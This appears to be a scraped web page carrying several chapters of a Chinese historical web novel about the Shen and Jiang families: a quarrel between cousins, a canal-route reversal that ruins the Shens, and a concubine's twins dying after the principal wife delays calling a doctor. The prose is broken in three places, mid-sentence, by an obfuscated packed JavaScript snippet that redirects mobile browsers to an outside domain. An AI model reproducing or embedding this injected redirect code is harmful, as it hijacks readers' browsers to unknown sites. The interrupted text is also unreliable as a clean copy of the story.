沈云如起先一直生着闷气没有开口，此时听见对方这样说，她顿时哼笑了一声，气道：“风头是靠自己挣的，人家若能抢得走，那也是我自己没本事，要你多管闲事？”又道，“你上次就是和人家玩游戏红了眼，搞得蒋娇娇对我也冷淡了不少，她虽小气了些，但你又好到哪里去？这次还无端端当众做出直言嘲讽人家的事情，挨骂也不冤。” 提起前事，王小娘子不免有几分心虚，那时她也是口快才把姐妹间的私话漏给了当事人晓得，说来自己也是半分占不到理的。表姐既不知内情，她此时自然一应不敢辩解，只能老老实实认错。 然而沈云如沉默了片刻，却道：“你以后不要再来找我了。往后逢年过节遇上，大家当着长辈的面点点头应一声姐妹就是，但私下相交却是不必再有。” 王小娘子一愣，慌张之下倏地便红了眼眶。 “表姐，”她不可置信地说道，“你，你就为了外人，要再不理我了么？” 沈云如气恼之下，态度也越发冷淡：“我并非是为了外人，但你这般行事与我实在合不来，我不想再被你连累着丢人了。”她说，“你若什么时候能修好了这性子，什么时候再来找我也成。” 王小娘子嘴巴一扁，泪珠子就簌簌往下掉，她满脸委屈地看着自己表姐，却见对方全然不为所动，她知道再多说也没有用，于是哭着便跑走了。 沈云如也没有去管，径自吩咐了女使给自己净手更衣。 没多久，沈老太太那边就差了人来叫她过去。 沈云如也猜到大概是宴上那点不愉快此时已传到了祖母耳中，但她想着自己今日的表现也算是得体，所以也就没有太多忐忑，径直去了。 结果到了她才发现，原来是自己那王家表妹跑来告了状。 沈云如看着此时正哭哭啼啼站在她婆婆面前的表妹，刚平下去没多久的火气霎时又隐隐从心底蹿了起来。 她忍耐地端端向长辈行了一礼。 沈老太太已经听说了席上的事，原本在她看来那也的确只是一件用不着自己操心的小事，她觉得自己孙女今日表现得不错，离开和留下的人都指摘不出沈家有什么不好，这就够了。 但沈老太太却没想到沈云如居然为了这区区小事要和表亲姐妹断交。 于是她便说道：“硬要说来，也是蒋家那小丫头挑衅在前，你表妹纵有不是，你说她几句也就罢了，自家人怎能动辄说出要断交这样的话来？” 沈云如此时心里有火，她第一次发现自己就算是面对着婆婆的训导也有实难认同的时候，于是只能克制地保持着礼节，回道：“婆婆或许觉得表妹所为只是一件小事，但她稍有不顺心就开口往人家短处戳，甚至不顾场合也不顾各家情面，往后若成了习惯，岂不是站在她身边就等于陪着得罪人？” “孙女只是觉得与表妹所受教养不同，”她说，“实不想彼此勉强。况且我也同她说了，等她以后改了这毛病，我也不是不能再同她一起玩。” 王小娘子说不出什么自辩的话来，只能继续抽抽噎噎。 沈老太太听得有些头疼，且打心眼儿里觉得这是件小事，何至于自家人与自家人闹别扭？ 她就直接对沈云如道：“你表妹已知道错了，蒋家那两个小丫头既然都没有在意，你也莫再纠结。过来牵了你表妹，姐妹两个好好说说话，今日之事就别再提了。” 沈云如站着没动。 沈老太太有点诧异，又再喊了声：“掌珠？” 沈云如的脸已经涨红了，但却仍是未动。 沈老太太这辈子从未被儿孙们这样当面违逆过，何况眼前这个违逆她的还是自己一手教出来的孙女，她不可置信之余顿时就上了火，当即怒道：“你是不是连婆婆的话都不肯听了？！” 沈云如沉默了几息，走上去对着王小娘子说道：“表妹，你别哭了，我陪你出去。”然后朝对方伸出了手。 沈老太太见孙女服了软，面上微松，没有再去计较她这话中的回避之意。 王小娘子却只当沈云如这是答应了跟她和好，顿时高兴起来，点点头，把手递过去与她牵住了。 表姐妹两个就手牵手出了福寿堂。 王小娘子还想同自己表姐说话：“我以后不会再和蒋小娘子斗嘴了。” 沈云如没有作声。 直到她一路把王小娘子送到了沈家大门前，这才松开手，淡淡说道：“你的错处你自己回家去反省，用不着哭给别人看，我绝不会认为你今日这般做派是好的，即便你用婆婆来压我也是一样。” 说完，她就转身领着自家女使头也不回地走了，独留下王小娘子蓦地呆住，站在门口半晌没能反应得过来。 而沈云如则径直去了书室找沈约。 “你这里看过的诗集再借我两本看吧。”她说。 沈约就给她找了两本递过去，然后观其神色，问道：“你那小宴上是怎么了么？” 沈云如心里本就还憋着气，这会子弟弟问起，她也不想忍着，径自一股脑地倾诉了出来。 “她竟还跑去婆婆面前哭诉，”她气恼地道，“好似对不起她的是我一般。我实咽不下这口气，若今日认了，以后岂不也只能与她同流？那我们家和那些不讲礼仪人理的门户有什么区别？” 沈约听着，诧异之余不免为姐姐松了口气。 “好在你没有当面顶撞婆婆。”他说道，“这样的事以后若再遇到，委婉应对也就是了，不必要当面这般决绝。” 沈云如不太同意，说道：“我虽不想顶撞婆婆，但我对此事的态度却不可模糊。” 沈约虽一向知道姐姐的性子有些骄傲倔强，但却不料原来她还有这样固执的一面。自家婆婆他是知道的，向来重面子，哪怕姐姐说得有道理，可当着王家表妹还有那些仆婢的面，她老人家也定不会容忍姐姐的不顺从。 毕竟就连他们的爹爹和二叔，也从来只能在婆婆面前恭顺以对。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529294|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不想再惹姐姐生气，只能委婉劝道：“你是最了解婆婆的，总之以后要小心与她老人家说话，不必为了人家的错处伤着自己。” 言罢，他又略感疑惑地转而问道：“但你借诗集是为什么？” 他想蒋小娘子又没有怼她不会接诗。 沈云如默了默，说道：“没什么，我只是想着自己还是学得太少，虽我不必考科举，但也还是想精进些。” 沈约想了想，又建议她道：“要不你再挑一本拿去送给那位苗小娘子？只当是为今日的事全了情面。” 然而沈云如闻言却皱了皱眉，说道：“我不去。” 沈约这就有些不能理解了，问道：“你不是也说是王家表妹不对么？我们既是宴席主家，又和王家有亲，就送个礼去道歉也没有什么。” “席上我已说过是我照顾不周了。”沈云如紧了紧交握的手指，脸上不在意地淡淡说道，“她们若是讲道理的，自不会怨我。但我没有那个必要追着人家去讨好，看别人的脸色。” 她想起宴上蒋娇娇三人离开时亲密无间的背影，就更不愿去了。 沈约也就不好再劝，只道：“那就等她离开汴京的时候，我们去送点裹费吧。” 沈云如没有说什么，算是默许了下来。 *** 从沈家回来之后，蒋娇娇就拉上谢暎还有其他小伙伴一起在院子里放起了风筝。 姚二郎见蒋娇娇使人拿的一堆风筝里并没有谢暎做的那只，便问道：“怎么没有谢元郎做的那个？正好瞧瞧飞起来什么样子啊。” 蒋娇娇一脸不许别人打主意的样子，说道：“那个不能拿来玩儿。” 姚二郎见她把谢暎做的风筝护得跟宝贝似地，也不敢再起哄，只悻悻地撇了撇嘴，然后就老老实实拿起了别的玩。 苗南风那边已经把风筝放上了天。 蒋修在一旁瞧得不免有些惊讶，问她：“你这怎么放的？”他都没见她怎么跑动啊。 苗南风就把自己那只递给他，然后接过蒋修手里那只开始一边放一边教道：“就顺着风，这样一下一下地扬，不要着急。” 蒋修看得认真，不时点头。 姚之如跑不动，放风筝不擅长，就坐在旁边等女使帮她放上去了再接手。 谢暎接过蒋娇娇给他挑的蝴蝶风筝，和她的同款蝴蝶一起翅膀并翅膀地放上了天。 大约是因两只蝴蝶挨得太近的缘故，没多久远端的风筝线就缠到了一起，谢暎正想请人拿剪子来把自己这边剪掉，却被蒋娇娇止住。 “没事，”她笑着说，“就这样多好玩儿啊！” 他看她今天好像心情特别好，也不由跟着弯了弯唇角，问道：“你在宴上跟人家吵了嘴，还这么高兴啊？” “我吵赢了嘛。”蒋娇娇扬起脸看着他，笑着说道，“其实我也不是觉得吵架高兴，但是她以前说过一些让我很难过的话，今天我说了她没有教养，突然就觉得以前她们说我的那些话也不是真的，我不用放在心上。” 谢暎虽不知她说的她们是谁，也不知那些难过的话是怎么样的一些话，但他却很能明白让一个人放在心上久久难过的东西到底有多伤人。 于是他看着她，安慰地笑了笑，点头应道：“嗯，你别再放心上。” 39. 消息 在汴京过完上巳节之后，苗家人便准备启程离开了。 因巷子里的大多数人第二天白日都要上学，所以在蒋修的招呼下，大家就于前夜聚到了蒋家，给苗南风践行。 蒋娇娇很舍不得苗南风，告别的时候忍不住掉了眼泪，她拿了自己最喜欢的一个磨喝乐送给对方，说道：“苗姐姐，等我过几年再来找你玩。” 她知道自己现在还出不了远门，只能如此寄希望于以后。 苗南风的眼眶也有些发红，点点头道：“我会给你写信的。” 蒋娇娇也点头，忍着哽咽道：“你不要写太难的字，我认的不多。” 苗南风应道：“嗯，太难的我也不会写。” 蒋修在旁边听着，忍不住道：“你们两个就不能有点出息？又不是以后都不长进了，自然是能写多少是多少，不会的字问问人，自己也就学会了。” 两人微怔，苗南风吸了吸鼻子，点头道：“你说的有道理。” 蒋娇娇就转过去看谢暎：“那苗姐姐写的字我要是不认识，我就拿给你看，但你不许告诉别人她写的是什么哦。” 万一以后她们要在信里说什么秘密呢？ 她想着他和她哥关系好，还特意叮嘱道，“大哥哥也不能告诉。” 谢暎看了眼蒋修，有点想笑，但在她面前还是忍住了，只也学她一脸郑重地道：“嗯，我不说。” 蒋娇娇相信他，自然很是放心。 蒋修觉得颇无语，他心说我才没兴趣看你们女孩子说什么无聊事情，并不搭理他妹。 姚之如也送了践行礼，是个花形的罗胜。 姚二郎认为自己是来作陪的，加上妹妹已经送了礼，所以就觉得自己没有单独再送的必要，只陪着说了两句旅途顺利的话。 沈云如和沈约姐弟两个则按照大人们的送行习俗给了点裹费，四十文铜钱被装在精致的锦袋里，一并给了苗南风。 锦袋是沈云如亲手给的，她也没有多说什么，只语气如常地道：“祝你一路顺风。” 苗南风道了谢，但又有些犹豫。她虽知道赠送程仪是一贯的风俗，但她还没见过孩子间送别也给裹费的，她从渠县离开的时候大家也不过就是打了个招呼，最多有人送了点家里做的裹蒸给她。 父母不在身边，她也不晓得这个钱应不应该收。 结果还是蒋修伸手帮她接了过来，随意地往她这里一塞，说道：“践行礼都要收着，才能讨个吉利。” 等谢暎也把送的象棋给了苗南风后，蒋修才不急不慢地让初一把自己准备的礼物拿了出来。 他送的是一支球杖。 苗南风一看，眼睛立刻就亮了。 “回家也别把手生了，”蒋修一副老成的样子叮嘱道，“以后有机会我们再一起玩。” “嗯！”苗南风高高兴兴地接了过来，“谢谢蒋哥哥。” 蒋修看她真心喜欢的样子，心中送礼的期待也得到了点满足，不由也弯起唇角笑了笑。 沈云如见状不由皱了皱眉，疑惑又不屑地想：又不是不曾送过礼给人，这有什么好笑的？ 她和苗南风本就没什么交情，今日过来只全看在沈、蒋两家的邻里情谊，此时送完了礼，她觉得继续待下去也没什么必要。 人家依依惜别，与自己有什么关系？ 沈云如便开口说道：“今日家里还有点事，我就不久留了。” 她说完，客气地向众人浅示了一礼，起身准备回去。 沈约见此，自然也不好再留，便跟着向其他人道了别。 姐弟两个回到家，正碰上唐大娘子差人请了医婆回来，两人还以为是自己母亲身体有什么不适，一问，才知原来是家里怀着身孕的罗少母闹着肚子疼。 罗氏已临近产期，此时肚疼可能就是要发动，沈云如本想去母亲那里看看是不是有需要帮忙的，但又想起她婆婆一向不喜欢她与庶房来往，不免又犹豫起来。 沈约是男孩子，这种事对他来说连考虑去不去的必要都没有，于是他就只对沈云如说道：“娘那里若有什么事，肯定也是去找婆婆请示的，你就回福寿堂等着消息就好了。” 沈云如点了点头。 姐弟两个正要道别分手，却又忽见大门外一前一后进来了两个人，竟是他们的父亲和二叔。 两人即迎上前行礼：“爹爹……” 话还没说完，沈庆宗已看也不看他们地皱着眉将手一扬，随口应了声“嗯”，便又继续大步往外院书房的方向走去。 姐弟俩不由面面相觑。 倒是他们的二叔沈耀宗随后走上来，温和地说了句：“你们两个自己去玩吧，爹爹有事情。” 言罢，他也跟在后头快步往书房那边去了。 沈云如顿了顿，问沈约：“爹知不知道罗少母要生了的事？” 沈约道：“娘肯定会让人去说。” 沈云如不由地想：那爹爹这么着急，是为了罗少母么？ *** 沈庆宗确实很焦急。 他今日是推说家中妻子身体不适，特意请了假回来的。一进城他也顾不上别的，先去铺子里把弟弟找到了，来不及多说，两人就赶回了家。 修筑新运河的事出了意外。 这个消息还是余录事派人送到鹤丘的。据说是政事堂那边经过和计省度支的几番来回，终于顺利定下了整个工程计划的开销，谁知史馆相前脚刚送上去给官家，后脚那谏院的人就冒了出来，也不晓得是从哪里得到的消息，张口便说选址有问题，此策要不得。 “道是现在定的那条路线不止会迁移大量居民，而且淹没的良田太多。官家即位之初下令修建陵寝的时候只占了民田十八顷，每亩也给了六百文的补偿，而如今过了这么久，又淹的是京西良田，少说估钱也该在每亩一贯以上。”沈庆宗皱着眉说道，“谏院认为修筑这条运河的耗费甚至可能直追汴河，但用处却大不及，如此难免劳民伤财太过，向官家建议让政事堂着令吏房那边修改路径。” “现在官家已经决定暂缓动工，给了半个月期限让政事堂再行斟酌之事。” 沈耀宗也被这突如其来的消息给打懵了。 第四条运河的修建工程是年前正式定下来的，鹤丘那边甚至开年就已接到了中书门下通知协作的公函，这时候那些该下手抢占商机的也都下了手，更莫说他们，早早已买好了地皮，而且上个月就已经开始动工修筑塌房了。 谁都没想到，这已经算是铁板钉钉的事情竟然会在临门一脚的时候出了这样的意外。 沈耀宗一时无言以对。 沈庆宗心里本就烦乱，又见弟弟不应声，不免更加郁闷，没好气地催道：“你说句话啊。”他说，“这些买卖的事你最清楚，现在事情到底进行到哪步了，我们家还有没有机会全身而退？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529295|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈耀宗苦笑道：“全身而退是不可能了，朝廷这一笔若真改下去，我们至少会赔掉一半身家。” 沈庆宗身子一晃，险些没能站住。 “一半？”他简直不敢相信，“怎么可能呢？” 沈耀宗就给他算了算账：“娘一向不许我们插手那些铜臭味重的买卖，这些年咱家除开你的职田还有那几亩林子，拢共就只有两间纸墨店和一间书肆。你也知道，这次为了凑够钱本，我们基本是把能动的活钱都动了，再加上在外面假贷了一部分，这才顺利和蒋家搭了伙。” 别的损失也就不说了，但假贷的那笔钱却是要利滚利还的。当初他们想的是利钱可以靠铺子里的孳息去还，只要塌房买卖做起来了，还本盈利也就是转眼间的事。 可眼下还债之事却犹如迫在眉睫。 职田肯定不能动，那几亩林子是给孩子们将来的保障，自然不到万不得已也动不得。 那就只能去动铺子了。 但这铺子一动，也就等于往后家里的活钱要大受影响。 那时候沈耀宗本来是建议可以直接找蒋世泽借，毕竟人家就在做着解质的买卖，可他兄长却不同意。按沈庆宗的话来说，双方既是合作伙伴，那不管谁出钱多少，他们家在蒋家面前的身份是不能往下掉的，若是他们找蒋世泽借了钱，以后在大事上岂不就矮了人家一截？ 所以沈耀宗当时也就没有再多说。 沈庆宗此时被弟弟的话给提醒了，忙道：“对啊，还有蒋家。” “反正塌房还未建成，你说能不能跟蒋家通个气，然后咱们把本退出来，让蒋世泽自己拿着地去做别的？”沈庆宗难掩期待地看着对方。 他这辈子都在跟书墨打交道，于做买卖这等庶务之事上实在没有什么经验，此时也想不到什么好的办法，只能寄希望于二弟。 然而沈耀宗沉吟须臾后却摇了摇头，说道：“我看可能比较悬。蒋世泽是个精明人，何况他们这次比我们家亏得多，烫手的山芋自己都巴不得甩掉呢，如何能再接手我们这边的？” 他忖道：“原本我们选的地方周围就荒得很，那么大一块地想脱手也不易，就是拿来开旅舍也是赚不到什么钱的。” 沈庆宗心烦道：“那你倒是说说还有没有别的办法？好歹能挽回一些是一些，不然这一大家子怎么办？”他不免就有点怨怪起对方来，“你倒能沉得住气，也不怕你媳妇儿挨饿受冻！” 沈耀宗无奈道：“大哥哥，不是我沉得住气，但官家和朝廷的事咱们如何能左右？我看还得做好最坏的打算，这样才能晓得该怎么为家里头兜底。” 沈庆宗眉眼凝重地叹了口气，默然无言。 “我还是去找蒋世泽谈谈，”沈耀宗道，“把这消息先同他说了，然后咱们两家合计一下，看能怎么尽量挽回些损失吧，他这方面肯定比我们都有办法。” 沈庆宗没有把这个消息第一时间通知蒋家，其实也是有些担心蒋世泽会为了蒋家利益先下手把他们甩掉，但事已至此，反正瞒也瞒不了多久，他也只能听从二弟的建议。 “那你快去吧。”他略感疲倦地抬了抬手。 沈耀宗便匆匆出了门。 “主君。”底下人随后走了进来，向着正闭目仰坐在椅子上的沈庆宗禀报道，“大娘子派了人来，说罗娘子那里已经发动了。” 沈庆宗眉头微皱，慢慢睁开了眼睛。 40. 决断 沈庆宗良久没有说话。 有那么一刻，他觉得自己整个脑海里全都是空白的。 他不是第一次做父亲，也深深地认为开枝散叶很重要，可却从未有如这次这般，对即将到来的新生命没有半点的期待和欣喜。 此时的他，满心满腹都只有沉甸甸的担虑。 对眼下的担虑，对以后的担虑，对这个家的担虑，犹如蛛丝结网般将他牢牢攫住，缠得他有些喘不过气。 他好像忽然明白了当年蒋世泽差点败光家业时的心情。 但他却也很清楚地知道，他们不同。 蒋家这次即便亏了不少，可对蒋世泽来说也还能输得起，那一大家子也败不了。 他们家却不一样。 他还有两个眼见着将大有前途的儿子要栽培，他们是沈家未来的希望，会成为这个家族延续的荣光。 掌珠虽然现在还小，但再过几年也可以议亲了，他们花了那么多心血栽培，怎能就这样眼睁睁看着她被嫁奁耽误？ 还有另一个妾室鲍氏那里，也已有个五岁的小女儿，若是一切如常，家里也本该是不吝花费地照着她姐姐那般培养。 沈庆宗越想越多，越多就越乱，越乱就越觉得焦虑不安。 他几乎不敢去想母亲知道了这件事之后的反应，更不敢去想这之后家里将要面临的困境。 但他却又不得不去想。 屋子里静得落针可闻。 “去把大娘子请过来。”少顷，他终于开口，如是吩咐道。 小厮不敢怠慢，忙应下去了。 唐大娘子原本在罗氏那边院子里坐镇，听说丈夫找自己，便想应该是要问小妾的情况。她心中虽纳闷他怎么将这胎看得这样重，多少也感到有几分不悦，但也并未明显表现出什么，只是行路的步伐颇有些不急不慢。 走进书室，她就看见沈庆宗正以手支额地靠坐在桌前，俨然一副心忧之相，不免心下更加不是滋味。 自己生孩子的时候也不见他这样担心过呢。唐大娘子心想，平日里也没见他对罗氏多么特别，怎地就对那人生的孩子这么上心？ 要说罗氏那个肚子像是怀的两个，可她也是生过龙凤胎的，又有什么了不起？ 思及此，唐大娘子开口时就忍不住有点泛酸：“官人可是在担心她肚子里那两个？放心吧，我原先生云娘和二哥儿的时候也是这样，再疼上一会儿就出来了。” 沈庆宗缓缓抬起头朝妻子看去。 唐大娘子乍见丈夫眼中的凝重之色，不由一怔，多年夫妻的默契让她瞬间抛去了那些小儿女的心思，即问道：“怎么了？是出了什么别的事么？” 说话间，人也已走了上去。 沈庆宗示意她坐。 “家里眼下遇到了个关口。”他说，“我也不瞒着你，你心里要有个数。” 言罢，他就把新运河要修改选址的事又一句句同她说了。 唐大娘子听完，顿时整个人都呆住了。 “我刚才坐在这里想了很久，”沈庆宗幽幽说道，“谏院的人偏偏在这个时候冒出来，恐怕这里头的水是有点深。” 这是他的直觉和猜想，但至于到底朝廷里头有什么事，大约他们一辈子都没有机会得知。 “总之事已至此，”他说，“这无妄之灾我们家不遭也遭了，接下来的日子恐怕就不会再像以前那样好过了。” 唐大娘子被他一句话惊回神，慌道：“那孩子们怎么办？两个哥儿都正是要紧的时候，还有云娘，岂不是要被耽误了？” 沈庆宗蹙眉叹道：“好在缙哥儿今年就要下场考试了，若能一口气到明年春闱得中进士，往后前程倒也不必忧虑，还能再帮衬家里些。” “便是如此，可他初出茅庐又能帮到多少？”唐大娘子急道，“且到时官家多半会把他给外放了，到时咱们既见不着他，他也是远水救不了近火，若没有好的机遇，便只能等着勘磨去慢慢累官。” “还有，”唐大娘子顿了顿，微轻了声音，说道，“官人别忘了，这一大家子的资财又不都是我们的。” 老太太还在世，家里的资财在名义上自然都理应由她老人家掌着。便是以后她驾鹤西去了，照律法也该是沈庆宗和沈耀宗兄弟两个平分。 他们夫妻两个就算是想给儿女们都留下足够的保障，也不过是只能想想。 沈庆宗默然须臾，说道：“当初我就是希望全家都好，才决定要做这件事，但万万不料我以为十拿九稳的，却会因他人一句话而风云突变。” 他又再叹了口气：“实在不行，我们可能就只有先和蒋家谈谈儿女亲事了。” 唐大娘子一愣。 她明白丈夫的意思，是想借用蒋家之力以求在未来家中艰难时互相扶持，但若要依然在蒋家人面前挺得直腰杆，最好的办法就只能是有个正当的名分。 儿女亲家。还能有什么名分比这个更正当？ “恐怕，我们是等不到云娘再大些了。”沈庆宗道，“趁现在，先和蒋家把气通了吧，等再过几年就给他们正式议亲。” 唐大娘子虽然已有了心理准备，但突然听到这些话，想到自己女儿才九岁就要早早许给那商贾人家，往后再有更好的选择也不能去想，顿时大感委屈地红了眼。 “官人也太偏心了，”她心中有怨气，话里就有些口不择言，“既然是要通气，反正只当是个娃娃亲，那为何不把二姐儿许给蒋家那二小子？” 沈庆宗看了看她，起身走到妻子面前，安抚地伸手将对方揽入了怀中。 “你是知道的，蒋世泽最看重的是他嫡出那一双儿女。”他说，“况且这个时候我们家若拿庶出的女儿去与他们议亲，那就未免落了下乘。” “我也想过是不是让二哥儿去，但我估计蒋世泽不会答应，他那样精明的人，怎可能在我们家儿子前途未明的时候就把女儿许过来？” 唐大娘子靠在他怀里直掉眼泪。 沈庆宗一下一下轻拍着她的背，少顷，口中沉吟着缓道：“但我们家暂时就最好别再养女儿了。” 唐大娘子一怔，有些茫然地抬起头朝他望去。 沈庆宗垂眸看着她，夫妻两人目光对视着，良久。 “你当明白，我们在云娘身上花了多少心血。”他说，“还有二姐儿，往后自然也是要尽力为她谋个好前程的。” 可若再有第三个，家里就未必还能养的出来了。 唐大娘子觉得自己明白了，可也是在她觉得明白的一瞬间，心跳霎时犹如擂鼓。 “那……若是哥儿呢？”她问。 沈庆宗有点犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529296|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但他想到自己膝下已有的两个儿子都很争气，顿了顿，还是说道：“若是哥儿，往后也能为家里帮得上忙。” 也就是说男留，女不留。 唐大娘子沉默地紧紧攥着手。 “大娘子，”门外传来了女使的声音，“罗娘子有些没力了，医婆说需要用老参提气。” 这是来请她允准的。 唐大娘子抬起眸和丈夫对视了一眼。 “那就用吧。”她隔着门，尽量用平静的语气回道，“该如何就如何，母子平安最要紧。” 女使即应喏而去。 “你也去看看吧。”沈庆宗说道。 唐大娘子沉吟须臾，然后慢慢站了起来。 “那我去了。”她说了一句好似有些多余的话。 唐大娘子做梦都没有想到，自己有朝一日竟然也会遇到那些贫家的困境，或者说，眼下的情形对他们来说已可算是贫境。 她几乎不敢去想在罗氏顺利生下孩子之后，这个家的日子是什么样。 唐大娘子这一路走得都有些恍惚，直到踏入罗氏的小院，忽听见那声婴儿的啼哭，她才像是猛然回过了神。 原来不知什么时候天上已落起了绵密的春雨。 空气里带着潮湿的凉意，随风扑在脸上，好像压得人呼吸都艰难了两分。 唐大娘子不由深吸了一口气。 “是男是女？”她问心腹妈妈刘氏。 刘妈妈道：“方生了个小娘子，说是肚里果然还有一个，这会子正在使力呢。” 还有一个，可能也是女孩，但也可能和当初唐大娘子一样产下的是对龙凤胎。 唐大娘子若有所思地点了点头。 “你随我来。”言罢，她就先转身走去了廊上。 刘氏随后跟了过来。 唐大娘子就近坐下，看了眼四周，又略略一顿，才沉吟着开了口：“依你看，她是生男好，还是生女好？” 刘妈妈愣了愣，微忖，小心地回道：“若要依我说的话，那自然还是生女好，毕竟女孩儿不会影响到大娘子两个哥儿的前程。” 男孩子担着家族未来，优秀和不优秀的自然在父亲那里得到的关注也不同，即便是大家得到的关爱都一样，可儿子们相同的继承权对正房来说却本身就是一种影响。 唐大娘子不是不知道，只是她从前觉得自己还可以不必在意。 但现在她连自己的女儿都保不住了，这个家以后只怕是都要节衣缩食，丈夫却还要留下罗氏生的儿子，就算那是沈家延续的希望，可对自己的孩子又有什么好处呢？ 她半晌没有说话。 “大娘子，”医婆被女使领着急急从产房里跑了出来，站在廊下冲着唐大娘子说道，“产妇肚子里那个胎位不太正，她力气又快使尽了，这样下去怕是待会母子都要出事，最好是能找个擅针灸的坐堂大夫来帮个手。” 唐大娘子顿了顿，没有作声。 一息后，她忽然扶额朝刘妈妈身上靠去。 后者一惊，连忙将她扶住：“大娘子？” “你们让我想想，她这个样子实在让我心里头有点发慌。”她语气里已染上了几分虚弱之意，“让我想想……” 其他人面面相觑，但见她身体不适的样子，终是没敢多言。 41. 疑心 蒋世泽单手枕在脑后，看着窗外灯火映照下漫天纷扬的细密雨丝，安静地躺在炕上，不知在想些什么。 金大娘子拿着热巾子走了过来，挨在他身畔坐下，一边帮他擦着手，一边语声轻柔地问道：“官人可是与沈家二爷谈得不太好？” 蒋世泽闻言，眼波微动，好似睡梦中的人被唤醒，这才回神转眸朝她看来。 他凝神看了妻子几息，然后微笑了笑，说道：“是有个不太好的消息。” 言罢，他顺手将她的手握住：“来。” 蒋世泽侧身把她拉到怀里，然后半拥着对方并躺在了一起。 “他说沈主簿得了朝中的消息，新运河的选址出了变故。”他说着，就将沈耀宗来转述的话大致又复述了一遍。 “沈家的意思是想看看能不能商量出个尽量挽回损失的办法。”蒋世泽道，“我对他说我要想想。” 金大娘子靠在他怀里找了个舒服的位置，说道：“我还以为官人会二话不说，答应帮沈主簿兜底。” 蒋世泽淡淡笑了一笑：“在商言商，我就算是要送钱给他，也得看有没有这个必要吧？”他缓缓说道，“这消息是沈仲德来同我说的，只怕他们兄弟两个在这之前已然背着我商量过一轮了。” 这意味着什么？意味着所谓两家一起商量个挽回损失的办法，不过是沈家兄弟在发觉沈家难以全身而退后的“求其次”。 倘若沈家有机会呢？那么哪怕是踩着蒋家往后退，他们大约也是会那样做的。 金大娘子没有说话，只是安静地依偎在丈夫的怀里。 蒋世泽听着她清浅的呼吸声，一如既往地从中感到了安定。 他笑笑，问道：“娘子好像一点也不担心？我看沈家已然是要着急上火的样子了。” 金大娘子微微笑笑，说道：“官人是遇过大风浪的人，你都尚且安之若素，我自然不必着急。若是连你也慌了，那我慌也没什么用，不如帮着你想想以后怎么过，这过日子的事，原本也急不来。” 蒋世泽搂着她的手紧了紧，脸贴着她的额角，感觉鼻息间充盈着妻子发间的香气，他不由心头微醉。 “那年你怀着娇娇的时候，半夜里看我辗转反侧，还挺着肚子给我抚背。”他说，“一下，一下，温柔又有力。当时我就在想，你真是个了不起的女子。” 蒋世泽感慨地说道：“那时若非有你在我身边，大约我很难撑得住。” 金大娘子浅笑道：“官人是性情坚毅之人，就算没有我，你也一定能撑得住。” “你我是夫妻，这些谦虚吹捧的话就不必说了。”蒋世泽略感无奈，抬手轻捏了下她的脸，“你啊，总是不时让我有种才与你相亲的感觉，好似与我不熟一般。” 金大娘子莞尔失笑。 蒋世泽也低低笑了会儿。 “我明天先再去一趟鹤丘那边，”他轻舒了口气，缓道，“等看看再说吧。” …… 次日清早，蒋世泽夫妻俩正在屋子里用饭，王妈妈走了进来。 “老爷，大娘子。”王妈妈说道，“沈家那边昨儿夜里夭折了两个孩子。” 金大娘子一怔。 蒋世泽也是大感意外。 “他家妾室生了？”蒋世泽诧异地道，“竟一个都没留住么？” 王妈妈点头道：“据说生了对双胞胎，结果一个出生没多久就没了，另一个死在了腹中。” 蒋世泽皱了皱眉：“可惜了。” “那待会儿我还是去唐大娘子那里探望一下。”金大娘子对丈夫说道。 蒋世泽颔首，心里突然有点同情沈庆宗，沈家是不是也太倒霉了些？ 内宅人情往来的事有妻子处理，他也就没再多说什么，吃完早饭便出了门，与长随宋勉骑着马即直奔鹤丘县而去。 *** 金大娘子去了沈家之后没多久，翠涛也在外头打听了消息回来。 “……说是两个女孩儿，头一个落地之后，另一个却生得有些艰难。”翠涛将自己听到的一句句转述了出来，“等好不容易从外头把大夫请来，也只能保住大人了，听说当时已出了不少血，险些一尸两命。那位罗娘子遭了这回罪，身子也是大亏，以后估计想再生也是不易了。” 康氏听得有些心惊肉跳，忙问道：“那头一个又是怎么没的？” 翠涛道：“都不知道，只晓得是还在生肚子里那个时，这个就已悄然没了声息，可能是娘胎里出来太弱了。” 康氏不由下意识抬手抚上了自己的肚子。 她和沈家的罗娘子孕期相近，再过两个多月也该生了，可眼下这般惨剧就发生在眼皮子底下，教她如何不忐忑？ 她这样想着，好像自己的肚子也隐隐地作痛起来。 “娘子？”翠涛见康氏的脸色瞬间变了，一副捂着肚子要往地上倒的架势，顿时也被吓了一跳，忙上前去将她扶住，口中慌乱地喊着来人。 康氏动了胎气。 金大娘子是回来之后才从王妈妈那里听说的消息。 